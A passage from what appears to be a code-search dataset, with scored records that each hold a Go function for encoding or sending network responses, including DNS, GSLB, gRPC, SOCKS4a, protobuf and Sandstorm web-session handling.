\"doubly_secure\", \"string\", v)\n\t}\n\tresp := NewProtoDoublySecureResponse(result)\n\treturn resp, nil\n}", "title": "" }, { "docid": "212a6caf08cc675aa16de31f2fa7f9b8", "score": "0.5020638", "text": "func (*DnsClientResponse) Descriptor() ([]byte, []int) {\n\treturn file_brokerDNSpb_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "44906069378df8fe81d80c679180234b", "score": "0.49904004", "text": "func NSResponse(name dnsmessage.Name, response *Response, logMessage string) (string, error) {\n\tnameServers := NSResources(name.String())\n\tvar logMessages []string\n\tif response.Header.Authoritative {\n\t\t// we're authoritative, so we reply with the answers\n\t\tresponse.Answers = append(response.Answers,\n\t\t\tfunc(b *dnsmessage.Builder) error {\n\t\t\t\tfor _, nameServer := range nameServers {\n\t\t\t\t\terr := b.NSResource(dnsmessage.ResourceHeader{\n\t\t\t\t\t\tName: name,\n\t\t\t\t\t\tType: dnsmessage.TypeNS,\n\t\t\t\t\t\tClass: dnsmessage.ClassINET,\n\t\t\t\t\t\tTTL: cfg.TtlSecsForNsRecords,\n\t\t\t\t\t\tLength: 0,\n\t\t\t\t\t}, nameServer)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t})\n\t} else {\n\t\t// we're NOT authoritative, so we reply who is authoritative\n\t\tresponse.Authorities = append(response.Authorities,\n\t\t\tfunc(b *dnsmessage.Builder) error {\n\t\t\t\tfor _, nameServer := range nameServers {\n\t\t\t\t\terr := b.NSResource(dnsmessage.ResourceHeader{\n\t\t\t\t\t\tName: name,\n\t\t\t\t\t\tType: dnsmessage.TypeNS,\n\t\t\t\t\t\tClass: dnsmessage.ClassINET,\n\t\t\t\t\t\tTTL: cfg.TtlSecsForNsRecords,\n\t\t\t\t\t\tLength: 0,\n\t\t\t\t\t}, nameServer)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t})\n\t\tlogMessage += \"nil, NS \" // we're not supplying an answer; we're supplying the NS record that's authoritative\n\t}\n\tresponse.Additionals = append(response.Additionals,\n\t\tfunc(b *dnsmessage.Builder) error {\n\t\t\tfor _, nameServer := range nameServers {\n\t\t\t\tvar tmp, _ = NameToA(nameServer.NS.String())\n\t\t\t\tfor _, aResource := range tmp {\n\t\t\t\t\terr := b.AResource(dnsmessage.ResourceHeader{\n\t\t\t\t\t\tName: nameServer.NS,\n\t\t\t\t\t\tType: dnsmessage.TypeA,\n\t\t\t\t\t\tClass: dnsmessage.ClassINET,\n\t\t\t\t\t\tTTL: cfg.TtlSecsForNsRecords,\n\t\t\t\t\t\tLength: 0,\n\t\t\t\t\t}, aResource)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tvar tmp2, _ = NameToAAAA(nameServer.NS.String())\n\t\t\t\tfor _, aaaaResource := range tmp2 {\n\t\t\t\t\terr := b.AAAAResource(dnsmessage.ResourceHeader{\n\t\t\t\t\t\tName: nameServer.NS,\n\t\t\t\t\t\tType: dnsmessage.TypeAAAA,\n\t\t\t\t\t\tClass: dnsmessage.ClassINET,\n\t\t\t\t\t\tTTL: cfg.TtlSecsForNsRecords,\n\t\t\t\t\t\tLength: 0,\n\t\t\t\t\t}, aaaaResource)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\tfor _, nameServer := range nameServers {\n\t\tlogMessages = append(logMessages, nameServer.NS.String())\n\t}\n\treturn logMessage + strings.Join(logMessages, \", \"), nil\n}", "title": "" }, { "docid": "7a15d408d3ec938abedae98fef1e63fe", "score": "0.4982685", "text": "func writeRPCResponse(w http.ResponseWriter, res RPCResponse) error {\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\tw.WriteHeader(http.StatusOK) // Status is expected to ALWAYS be 200-OK\n\treturn json.NewEncoder(w).Encode(res)\n}", "title": "" }, { "docid": "bd5d7034208090b9dbdff976e59fcc41", "score": "0.49796355", "text": "func DecodeGrpcRespIcmp(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "fbfe074de094d0543e3598a2b3b38fe7", "score": "0.49639788", "text": "func (p *Packet) encode() ([]byte, error) {\n\tif p.Type != \"REQ\" && p.Type != \"RSP\" {\n\t\treturn nil, ErrProtoUnknownType\n\t}\n\n\tbody_size := uint32(len(p.Body))\n\tdata := make([]byte, 0, 11+body_size)\n\n\tdata = append(data, []byte(p.Type)...)\n\n\tidentity_sl := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(identity_sl, p.Identity)\n\tdata = append(data, identity_sl...)\n\n\tbody_size_sl := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(body_size_sl, body_size)\n\tdata = append(data, body_size_sl...)\n\n\tdata = append(data, p.Body...)\n\tdata = append(data, []byte{'\\r', '\\r', '\\n'}...)\n\n\treturn data, nil\n}", "title": "" }, { "docid": "f87dbe846fb63dd30bd50d70efbb4f97", "score": "0.4952426", "text": "func writeResponse(udpconn *net.UDPConn, client *net.UDPAddr, response *keystore.Response) {\n\tvar buf bytes.Buffer\n\tif err := gob.NewEncoder(&buf).Encode(response); err != nil {\n\t\tlog.Printf(\"Error writing UDP response to buffer: %s\", err)\n\t}\n\n\t// Write the response to the client\n\t_, err := udpconn.WriteToUDP(buf.Bytes(), client)\n\tif err != nil {\n\t\tlog.Printf(\"Error writing UDP response to client: %s\", err)\n\t}\n}", "title": "" }, { "docid": "7f8ab3d8b416734a674ffa5d78cef289", "score": "0.49436772", "text": "func EncodeGrpcReqMsrpc(ctx context.Context, request interface{}) (interface{}, error) {\n\treq := request.(*Msrpc)\n\treturn req, nil\n}", "title": "" }, { "docid": "15864e1114eae4389305bc8acbe62cce", "score": "0.49381104", "text": "func TestEncoderWriteResponse(t *testing.T) {\n\tres := &rrdb.MetaQueryCfgResult{\n\t\tSuccess: &replication.QueryCfgResponse{\n\t\t\tErr: &base.ErrorCode{Errno: base.ERR_INVALID_STATE.String()},\n\t\t\tPartitions: []*replication.PartitionConfiguration{},\n\t\t},\n\t}\n\n\treq := &pegasusRequest{\n\t\tseqID: 1,\n\t\tmethodName: \"RPC_CM_QUERY_PARTITION_CONFIG_BY_INDEX\",\n\t}\n\ttmpbuf := bytes.NewBuffer(nil)\n\twbuf := bytes.NewBuffer(nil)\n\tenc := responseEncoder{\n\t\twriter: wbuf,\n\t}\n\n\t// the response will be encoded to wbuf\n\terr := enc.sendResponse(req, res)\n\tassert.Nil(t, err)\n\n\t// read response via pegasus-go-client response reader.\n\trcall, err := session.ReadRpcResponse(rpc.NewFakeRpcConn(wbuf /*for read*/, tmpbuf), session.NewPegasusCodec())\n\tassert.Nil(t, err)\n\tqueryCfgRes, ok := rcall.Result.(*rrdb.MetaQueryCfgResult)\n\tassert.True(t, ok)\n\tassert.Equal(t, *res.Success, *queryCfgRes.Success)\n}", "title": "" }, { "docid": "e733946e87be71f1e95a98c8e3e4e035", "score": "0.4927655", "text": "func EncodeGRPCCreatePrimaryNetworkForContainerResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tres := response.(CreatePrimaryNetworkForContainerResponse)\n\tgRPCRes := &pb.CreatePrimaryNetworkForContainerResponse{}\n\tif res.Error != nil {\n\t\tgRPCRes.Error = res.Error.Error()\n\t}\n\treturn gRPCRes, nil\n}", "title": "" }, { "docid": "d128aa8590a3a6ccd1ce2b2a43c27a7b", "score": "0.4907131", "text": "func responseType(m *dns.Msg) byte {\n\tif len(m.Answer) > 0 {\n\t\treturn rTypeResponse\n\t} else if m.Rcode == dns.RcodeNameError {\n\t\treturn rTypeNxdomain\n\t} else if m.Rcode == dns.RcodeSuccess {\n\t\tif len(m.Ns) > 0 && m.Ns[0].Header().Rrtype == dns.TypeNS {\n\t\t\treturn rTypeReferral\n\t\t}\n\t\treturn rTypeNodata\n\t} else {\n\t\treturn rTypeError\n\t}\n}", "title": "" }, { "docid": "7bb48adb1b32e717e9ff6d8b2af9b495", "score": "0.48915908", "text": "func encodeVersionResponse(ctx context.Context, w http.ResponseWriter, response interface{}) (err error) {\n\t//w.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\t//err = json.NewEncoder(w).Encode(response)\n\tfmt.Fprintf(w,\"v1\")\n\treturn\n}", "title": "" }, { "docid": "42e4aa1c2ca55febabc49cca9af06d54", "score": "0.4881992", "text": "func sendSocks4aResponse(w io.Writer, code byte, addr *net.TCPAddr) error {\n\tvar resp [8]byte\n\tresp[0] = socksResponseVersion\n\tresp[1] = code\n\tresp[2] = byte((addr.Port >> 8) & 0xff)\n\tresp[3] = byte((addr.Port >> 0) & 0xff)\n\tipv4 := addr.IP.To4()\n\tif ipv4 != nil {\n\t\tresp[4] = ipv4[0]\n\t\tresp[5] = ipv4[1]\n\t\tresp[6] = ipv4[2]\n\t\tresp[7] = ipv4[3]\n\t}\n\t_, err := w.Write(resp[:])\n\treturn err\n}", "title": "" }, { "docid": "81d23c48b1ba43fa212d266466609fa3", "score": "0.48715913", "text": "func (s CaptchaResponse) GoString() string {\n\treturn s.String()\n}", "title": "" }, { "docid": "609fd5820eb8abf0d1aa1846e24884fe", "score": "0.48648372", "text": "func encodeGRPCConcatRequest(_ context.Context, request interface{}) (interface{}, error) {\n\treq := request.(*endpoint2.ConcatRequest)\n\treturn &addsvcpb.ConcatRequest{A: req.A, B: req.B}, nil\n}", "title": "" }, { "docid": "f873dcad831223aa1deba83b8a167980", "score": "0.48565313", "text": "func encodeGRPCLowercaseRequest(_ context.Context, grpcReq interface{}) (interface{},error){\n\treq:= grpcReq.(*pb.LowercaseRequest)\n\treturn addendpoint.LowercaseRequest{S:req.A},nil\n}", "title": "" }, { "docid": "971e4c42d3c9d6ba5e06a4ba4a728a90", "score": "0.48463944", "text": "func encodeGRPCConcatRequest(_ context.Context, request interface{}) (interface{}, error) {\n\treq := request.(addendpoint.ConcatRequest)\n\treturn &pb.ConcatRequest{A: req.A, B: req.B}, nil\n}", "title": "" }, { "docid": "41b722ff36f9758dceb900660a55a3df", "score": "0.48390746", "text": "func (*Response) Descriptor() ([]byte, []int) {\n\treturn file_proto_rpc_webrtc_v1_grpc_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "e1c92be280a80e2e7212ead01c0d8182", "score": "0.4822807", "text": "func (s ChallengeResponse) GoString() string {\n\treturn s.String()\n}", "title": "" }, { "docid": "c623d1b17fc5959f874aa47bce9ec8a0", "score": "0.4822402", "text": "func ResponseToString(r *http.Response) (string, error) {\n\tvar ResponseStr bytes.Buffer\n\tResponseStr.WriteString(r.Proto + \" \")\n\tResponseStr.WriteString(r.Status + \"\\r\\n\")\n\tfor key, header := range r.Header {\n\t\tResponseStr.WriteString(key + \": \" + strings.Join(header, \" \") + \"\\r\\n\")\n\t}\n\tvar body []byte\n\tvar reader io.ReadCloser\n\tswitch r.Header.Get(\"Content-Encoding\") {\n\tcase \"gzip\":\n\t\tvar err error\n\t\treader, err = gzip.NewReader(r.Body)\n\t\tif err != nil {\n\t\t\treturn ResponseStr.String(), err\n\t\t}\n\tdefault:\n\t\treader = r.Body\n\t}\n\tbody, err := ioutil.ReadAll(reader)\n\tif err != nil {\n\t\treturn ResponseStr.String(), err\n\t}\n\tResponseStr.WriteString(\"\\r\\n\" + string(body) + \"\\r\\n\")\n\treturn ResponseStr.String(), nil\n}", "title": "" }, { "docid": "15e82b4b91cb020426bfc97c70e26ef0", "score": "0.48120955", "text": "func EncodeGrpcRespBucketList(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "9ca096494b4881f93ce386b5fd6fc24a", "score": "0.48044926", "text": "func (*CMsgClientToGCChinaSSAURLResponse) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{303}\n}", "title": "" }, { "docid": "b8a61855b60f5f535d651d7856db52d6", "score": "0.4794909", "text": "func handleGSLB(w dns.ResponseWriter, r *dns.Msg) {\n\n\t// TODO Pack our own reply.\n\t// TODO cache said reply.\n\t// TODO serve from cache (with fixed msg.Id) when possible.\n\n\tqname := r.Question[0].Name // This is OUR name; so use it in our response\n\tipString := w.RemoteAddr().String() // The user is from where?. dns.go only gives us strings.\n\tqtype := r.Question[0].Qtype // What are we asking for?\n\tqtypeStr := qtypeToString(qtype) // What are we asking for? A STRING!\n\tqnameLC := toLower(qname) // We will ask for lowercase everything internally.\n\twasLC := qname == qnameLC // We really care about the case that people us when asking.\n\tview := findViewOnly(ipString) // Geo + Resolver -> which data name in zone.conf\n\n\tQI := QueryInfo{qname: qname, view: view, qtype: qtypeStr}\n\n\t// Hey. Maybe we can return cached data?\n\tif wasLC {\n\t\tif cached, ok := CacheMsgs.Get(QI); ok {\n\t\t\tstatsCache.Increment(\"gslb-hit\")\n\t\t\tj := rand.Intn(len(cached)) // We expect multiple possible results; answer one at random.\n\t\t\tbits := int(cached[j].msg[2]) // We need to figure out how to set/clear the RD bit\n\t\t\tif r.RecursionDesired {\n\t\t\t\tbits = bits | 0x01 // Set RD\n\t\t\t} else {\n\t\t\t\tbits = bits &^ 0x01 // Clear RD\n\t\t\t}\n\n\t\t\t// Build new data packet, with the new 3 bytes based on the current\n\t\t\t// caller; and the remaining bytes on the cached data.\n\t\t\tnewLeader := []byte{uint8(r.Id >> 8), uint8(r.Id & 0xff), uint8(bits)}\n\t\t\tnewData := append(newLeader, cached[j].msg[3:]...)\n\t\t\tw.Write(newData)\n\n\t\t\t// Don't forget the stats.\n\t\t\tstatsQuery.Increment(qtypeStr)\n\t\t\tstatsResponse.Increment(cached[j].rcodeStr)\n\n\t\t\treturn\n\t\t}\n\t}\n\n\tm := new(dns.Msg)\n\tm.SetReply(r)\n\tm.Compress = true\n\n\t// Reasons to refuse to answer, there are many.\n\tif r.Question[0].Qclass != dns.ClassINET ||\n\t\tr.Question[0].Qtype == dns.TypeAXFR ||\n\t\tr.Question[0].Qtype == dns.TypeIXFR {\n\t\tstatsCache.Increment(\"gslb-refused\")\n\t\tm.Rcode = dns.RcodeRefused\n\t\tstatsMsg(r)\n\t\tstatsMsg(m)\n\t\tw.WriteMsg(m)\n\t\treturn\n\t}\n\n\t// Go do real computational work to see what our records should say.\n\t// LookupFrontEnd handles some level of caching even if the vixie hack is used\n\tstuff := LookupFrontEnd(qnameLC, view, qtypeStr, 0, NOTRACE)\n\n\t// Shuffle, to randomize answers, if we got more than one.\n\tif len(stuff.Ans) > 1 {\n\t\tn := len(stuff.Ans)\n\t\tfor i := n - 1; i > 0; i-- {\n\t\t\tj := rand.Intn(i + 1)\n\t\t\tstuff.Ans[i], stuff.Ans[j] = stuff.Ans[j], stuff.Ans[i]\n\t\t}\n\t}\n\n\t// Copy the results to fully formed RRs and stuff them into our\n\t// message.\n\tfor _, s := range stuff.Ans {\n\t\trr, err := ourNewRR(s)\n\t\tif err == nil {\n\t\t\tm.Answer = append(m.Answer, rr)\n\t\t} else {\n\t\t\tlog.Printf(\"Problems parsing '%s': %v\\n\", s, err)\n\t\t}\n\t}\n\n\tfor _, s := range stuff.Auth {\n\t\trr, err := ourNewRR(s)\n\t\tif err == nil {\n\t\t\tm.Ns = append(m.Ns, rr)\n\t\t} else {\n\t\t\tlog.Printf(\"Problems parsing '%s': %v\\n\", s, err)\n\t\t}\n\t}\n\tfor _, s := range stuff.Add {\n\t\trr, err := ourNewRR(s)\n\t\tif err == nil {\n\t\t\tm.Extra = append(m.Extra, rr)\n\t\t} else {\n\t\t\tlog.Printf(\"Problems parsing '%s': %v\\n\", s, err)\n\t\t}\n\t}\n\tm.Rcode = stuff.Rcode\n\tm.Authoritative = stuff.Aa\n\n\tif len(stuff.Ans) > 1 {\n\t\tn := len(stuff.Ans)\n\t\tfor i := n - 1; i > 0; i-- {\n\t\t\tj := rand.Intn(i + 1)\n\t\t\tstuff.Ans[i], stuff.Ans[j] = stuff.Ans[j], stuff.Ans[i]\n\t\t}\n\t}\n\n\t// Finish up.\n\tif wasLC {\n\t\tvixie0x20HackMsg(m) // Handle MixEdCase.org requests\n\t}\n\n\t// Save some stats\n\tstatsMsg(r)\n\tstatsMsg(m)\n\n\t// Finally, pack, possibly cache, and write the dns response\n\tdata, err := m.Pack()\n\tif err != nil {\n\t\t// We had an error creating a DNS packet?\n\t\tlog.Printf(\"Error with m.Pack %v\", err)\n\t\treturn\n\t}\n\n\tif wasLC == true {\n\t\t// Hey, we can cache this.\n\t\t// No MixEdCaSE\n\t\trcodeStr := rcodeToString(stuff.Rcode) // For stats\n\n\t\tgroup := []MsgCacheRecord{} // Allocate a new set of pointers\n\t\tgroup = append(group, freshMsgCacheRecord(data, rcodeStr))\n\n\t\t// Calculate the remaining rotations\n\t\tfor i := 1; i < len(stuff.Ans); i++ { // We already did \"0\"\n\t\t\tm.Answer = append(m.Answer[1:], m.Answer[0]) // One DNS RR rotation\n\t\t\tdata, err = m.Pack() // Re-pack the DNS data\n\t\t\tif err == nil { // If no error..\n\t\t\t\tgroup = append(group, freshMsgCacheRecord(data, rcodeStr))\n\t\t\t}\n\t\t}\n\t\tstatsCache.Increment(\"gslb-miss\")\n\t\tCacheMsgs.Set(QI, group)\n\t} else {\n\t\tstatsCache.Increment(\"gslb-nocache\")\n\t}\n\n\tw.Write(data)\n}", "title": "" }, { "docid": "aea73c80f29c06b8456b9adb34bb4704", "score": "0.47856602", "text": "func EncodeJSONResponse(_ context.Context, reply string, nc *nats.Conn, response interface{}) error {\n\tvar err error\n\tvar b []byte\n\tresp := response.(endpoint.RegisterNodeResponse)\n\n\tif resp.Err != nil {\n\t\tb, err = json.Marshal(errorWrapper{Error: resp.Err.Error()})\n\t} else {\n\t\tb, err = json.Marshal(resp)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nc.Publish(reply, b)\n}", "title": "" }, { "docid": "49ada613f58af10241d472cfeceb1fb0", "score": "0.47619647", "text": "func EncodeGRPCRemovePortFromContainerResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tres := response.(RemovePortFromContainerResponse)\n\tgRPCRes := &pb.RemovePortFromContainerResponse{}\n\tif res.Error != nil {\n\t\tgRPCRes.Error = res.Error.Error()\n\t}\n\treturn gRPCRes, nil\n}", "title": "" }, { "docid": "778d5b7013d8b51102298cef0bd525bc", "score": "0.4742532", "text": "func (p *PingResp) Encode() ([]byte, error) {\n\treturn encode(&header{Type: TPingResp}, nil)\n}", "title": "" }, { "docid": "fbc8fef5617fc2d0f7699f3d78b06360", "score": "0.47390434", "text": "func buildB64Proto(m string, statusCode int, status protos.ServerResponse_Status) string {\n\tp := &protos.ServerResponse{\n\t\tMessage: m,\n\t\tStatusCode: int32(statusCode),\n\t\tStatus: status,\n\t}\n\n\tout, err := proto.Marshal(p)\n\n\tif err != nil {\n\t\tlog.Println(err)\n\t\t// TODO: return an appropriate error message\n\t\treturn \"\"\n\t}\n\n\treturn bToB64(out)\n}", "title": "" }, { "docid": "2f4d21937de3e8b847907c3baecace58", "score": "0.47346732", "text": "func (r *resp) marshal() []byte {\n\tidBuf := make([]byte, 8)\n\toffset := binary.PutVarint(idBuf, r.reqID)\n\tbuf := make([]byte, 0, offset+1+4+len(r.result))\n\tb := bytes.NewBuffer(buf)\n\tb.Write(idBuf[0:offset])\n\t// write result type\n\tif r.err != nil {\n\t\tb.WriteByte(byte(respErr))\n\t\tbinary.Write(b, binary.LittleEndian, int32(len(r.err.Error())))\n\t\tb.Write([]byte(r.err.Error()))\n\t} else {\n\t\tb.WriteByte(byte(respSuccess))\n\t\tbinary.Write(b, binary.LittleEndian, int32(len(r.result)))\n\t\tb.Write(r.result)\n\t}\n\treturn b.Bytes()\n}", "title": "" }, { "docid": "bc210d4d984b7c569b3ed085213cf132", "score": "0.47337788", "text": "func WriteProtoResponse(w http.ResponseWriter, resp proto.Message) {\n\tdata, err := proto.Marshal(resp)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tif _, err = w.Write(data); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\t// TODO: set Content-type.\n}", "title": "" }, { "docid": "4a821c6c910ba7108ccbf841e36ff86d", "score": "0.47312126", "text": "func responseCb(tctx *core.CThreadCtx, test *MDnsTestBase) int {\n\ttimerw := tctx.GetTimerCtx()\n\tticks := timerw.DurationToTicks(2 * time.Second)\n\tvar mDnsResponseCtx MDnsResponseCtx\n\tmDnsResponseCtx.ipv6 = test.ipv6\n\tmDnsResponseCtx.timer.SetCB(&mDnsResponseCtx, test.cbArg1, test.cbArg2)\n\tmDnsResponseCtx.tctx = tctx\n\ttimerw.StartTicks(&mDnsResponseCtx.timer, ticks)\n\treturn 0\n}", "title": "" }, { "docid": "a3b7fac507942e0e7a897c91f427243e", "score": "0.47297794", "text": "func (h *Handler) writeProtobufQueryResponse(w http.ResponseWriter, resp *QueryResponse) error {\n\tif buf, err := proto.Marshal(encodeQueryResponse(resp)); err != nil {\n\t\treturn err\n\t} else if _, err := w.Write(buf); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ef390284c6565db50929ac32c39a0e97", "score": "0.4729644", "text": "func EncodeAddResponse(ctx context.Context, v interface{}, hdr, trlr *metadata.MD) (interface{}, error) {\n\tresult, ok := v.(string)\n\tif !ok {\n\t\treturn nil, goagrpc.ErrInvalidType(\"user\", \"add\", \"string\", v)\n\t}\n\tresp := NewAddResponse(result)\n\treturn resp, nil\n}", "title": "" }, { "docid": "fe0e89a98cb26082afb0363dd7ad5f68", "score": "0.4724687", "text": "func encodeResponse(ctx context.Context, w http.ResponseWriter, response interface{}) error {\n\ttype failer interface {\n\t\tFailed() error\n\t}\n\n\tif e, ok := response.(failer); ok && e.Failed() != nil {\n\t\tencodeError(ctx, e.Failed(), w)\n\t\treturn nil\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n\n\ttype payloader interface {\n\t\tResponse() []byte\n\t}\n\n\tvar err error\n\tif r, ok := response.(payloader); ok {\n\t\t_, err = w.Write(r.Response())\n\t}\n\treturn errors.Wrap(err, \"write acknowledge response\")\n}", "title": "" }, { "docid": "fbdf123ed9cabb81cecacd3b33a4328e", "score": "0.47159722", "text": "func (answer *dnsAnswer) writeToBytes() ([]byte, error) {\n\tresult, err := nameToBytes(answer.aname)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult = append(result, bigEndianBytes(answer.atype)...)\n\tresult = append(result, bigEndianBytes(answer.aclass)...)\n\tbttl := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(bttl, answer.ttl)\n\tresult = append(result, bttl...)\n\tresult = append(result, bigEndianBytes(answer.rdlength)...)\n\tresult = append(result, answer.rdata...)\n\treturn result, nil\n}", "title": "" }, { "docid": "5bc4ce7c9275c016b1f5027fd84018b1", "score": "0.47070655", "text": "func EncodeGRPCUpdateUserResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tresp := response.(*pb.User)\n\treturn resp, nil\n}", "title": "" }, { "docid": "5d5c98d062c7c87e75df1e8a45630f6c", "score": "0.46890876", "text": "func EncodeRegisterResponse(ctx context.Context, v interface{}, hdr, trlr *metadata.MD) (interface{}, error) {\n\tresult, ok := v.(*usermethod.ResponseResult)\n\tif !ok {\n\t\treturn nil, goagrpc.ErrInvalidType(\"userMethod\", \"register\", \"*usermethod.ResponseResult\", v)\n\t}\n\tresp := NewRegisterResponse(result)\n\treturn resp, nil\n}", "title": "" }, { "docid": "afce97da5edda703664a5834e999b94b", "score": "0.46793738", "text": "func DecodeGrpcRespSunrpc(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "9c1722fef625a34b4f193ee3f84f9883", "score": "0.4678303", "text": "func (c *CodecRequest) WriteResponse(w rmqrpc.ResponseWriter, reply interface{}) {\n\tdata, _ := proto.Marshal(reply.(proto.Message))\n\tres := &ServerResponse{\n\t\tResult: data,\n\t}\n\tc.writeServerResponse(w, res)\n}", "title": "" }, { "docid": "bb6b88c7077cd01a1705779ccc411a2e", "score": "0.46678695", "text": "func (e *ProtobufReplyEncoder) Encode(r *Reply) ([]byte, error) {\n\treturn r.MarshalVT()\n}", "title": "" }, { "docid": "12f28b440ae978a3e5c85c7032c720a9", "score": "0.46618864", "text": "func encodeBytes(w http.ResponseWriter, status int, res interface{}) {\n\tbody, ok := res.([]byte)\n\tif !ok {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tfmt.Fprint(w, \"Response type should be ([]byte)\")\n\t\treturn\n\t}\n\tw.WriteHeader(status)\n\tw.Write(body)\n}", "title": "" }, { "docid": "f768db3f354f841b53218fa9fe12f6e4", "score": "0.46610564", "text": "func EncodeGrpcReqIcmp(ctx context.Context, request interface{}) (interface{}, error) {\n\treq := request.(*Icmp)\n\treturn req, nil\n}", "title": "" }, { "docid": "8141fc1db4fe6f966c4d69c1746eba82", "score": "0.46566424", "text": "func (resp *NotifyResponse) Encode(w io.Writer) (int, error) {\n\tpb := &pb.NotifyResponse{\n\t\tID: resp.ID,\n\t\tHost: resp.host,\n\t}\n\tdata, err := proto.Marshal(pb)\n\tif err != nil {\n\t\t//log.Println(\"chord.NotifyResponse.encode.error\")\n\t\treturn -1, fmt.Errorf(\"encode NotifyResponse failed: %s\", err)\n\t}\n\n\treturn w.Write(data)\n}", "title": "" }, { "docid": "fc6c1de4f42edfc7832856f827afd100", "score": "0.4652984", "text": "func AssembleTimeResponse(address string, timestamp int64, nonce []byte, passphrase string) []byte {\n\tif len(address) > 255 {\n\t\tpanic(\"address too long\")\n\t}\n\n\tif len(nonce) != NonceSize {\n\t\tpanic(\"nonce has wrong length\")\n\t}\n\n\tvar buffer bytes.Buffer\n\tbuffer.WriteByte(byte(len(address)))\n\tbuffer.WriteString(address)\n\twriteTimestamp(&buffer, timestamp)\n\tbuffer.Write(nonce)\n\twriteMAC(&buffer, passphrase)\n\n\treturn buffer.Bytes()\n}", "title": "" }, { "docid": "fbe6d23a7118fe42688faf920e9881ca", "score": "0.46493465", "text": "func buildCapnpResponse(goCtx context.Context, goResponse *http.Response,\n\twsCtx *capnp.WebSession_Context, wsResponse *capnp.WebSession_Response) {\n\n\t// Copy goResponse.Body to w, and then close it. We *need* to do this in\n\t// all cases, even if we're just junking the body (in which case we use\n\t// ioutil.Discard).\n\twriteBody := func(w io.Writer) {\n\t\tio.Copy(w, goResponse.Body)\n\t\tgoResponse.Body.Close()\n\t}\n\n\tstatus := goResponse.StatusCode\n\n\t// TODO: handle the fields outside of the union:\n\t//\n\t// * setCookies\n\t// * cachePoliciy\n\t// * additionalHeaders\n\n\tswitch status {\n\tcase 200, 201, 202:\n\t\twsResponse.SetContent()\n\t\tcapnpStatus := successCodeMap[status]\n\t\twsResponse.Content().SetStatusCode(capnpStatus)\n\t\twsResponse.Content().Body().\n\t\t\tSetStream(capnp_util.Handle_ServerToClient(struct{}{}))\n\t\tsetContentHeaders(wsResponse, goResponse)\n\t\tgo func() {\n\t\t\tw := util.ByteStreamWriteCloser{\n\t\t\t\tCtx: goCtx,\n\t\t\t\tObj: wsCtx.ResponseStream(),\n\t\t\t}\n\t\t\twriteBody(w)\n\t\t\tw.Close()\n\t\t}()\n\tcase 204, 205:\n\t\twsResponse.SetNoContent()\n\t\twsResponse.NoContent().SetShouldResetForm(status == 205)\n\t\t// TODO: handle etags\n\t\tgo writeBody(ioutil.Discard)\n\tcase 304, 412:\n\t\twsResponse.SetPreconditionFailed()\n\t\t// TODO: etags\n\tcase 301, 302, 303, 307:\n\t\t// Redirects. Web-session.capnp talks about a 308, but I haven't found\n\t\t// any info about its semantics. \"net/http\" doesn't deifine a constant\n\t\t// for it, so we're just going to say to heck with it and not support\n\t\t// it for now.\n\t\twsResponse.SetRedirect()\n\t\twsResponse.Redirect().SetLocation(goResponse.Header.Get(\"Location\"))\n\t\tswitch status {\n\t\tcase 301:\n\t\t\twsResponse.Redirect().SetIsPermanent(true)\n\t\tcase 302, 303, 307:\n\t\t\twsResponse.Redirect().SetIsPermanent(false)\n\t\t}\n\t\tswitch status {\n\t\tcase 302, 303:\n\t\t\twsResponse.Redirect().SetSwitchToGet(true)\n\t\tdefault:\n\t\t\twsResponse.Redirect().SetSwitchToGet(false)\n\t\t}\n\t\twriteBody(ioutil.Discard)\n\n\tcase 400, 403, 404, 405, 406, 409, 410, 413, 414, 415, 418:\n\t\twsResponse.SetClientError()\n\t\tcapnpStatus := clientErrorCodeMap[status]\n\t\twsResponse.ClientError().SetStatusCode(capnpStatus)\n\n\t\t// We can't stream the response because the capnp schema doesn't support,\n\t\t// it, so we buffer it synchronously.\n\t\tbuf := &bytes.Buffer{}\n\t\twriteBody(buf)\n\t\twsResponse.ClientError().SetDescriptionHtml(buf.String())\n\tdefault:\n\t\twsResponse.SetServerError()\n\t\tif status >= 500 && status < 600 {\n\t\t\t// The handler actually returned a 5xx; let them set the body.\n\t\t\t// As above, to do this we have to buffer and set it synchronously.\n\t\t\tbuf := &bytes.Buffer{}\n\t\t\twriteBody(buf)\n\t\t\twsResponse.ServerError().SetDescriptionHtml(buf.String())\n\t\t} else {\n\t\t\t// The client returned some status sandstorm doesn't support. In this\n\t\t\t// case we junk the body and set our own error page.\n\t\t\twsResponse.ServerError().SetDescriptionHtml(\n\t\t\t\t\"<!DOCTYPE html>\\n\" +\n\t\t\t\t\t\"<html>\\n\" 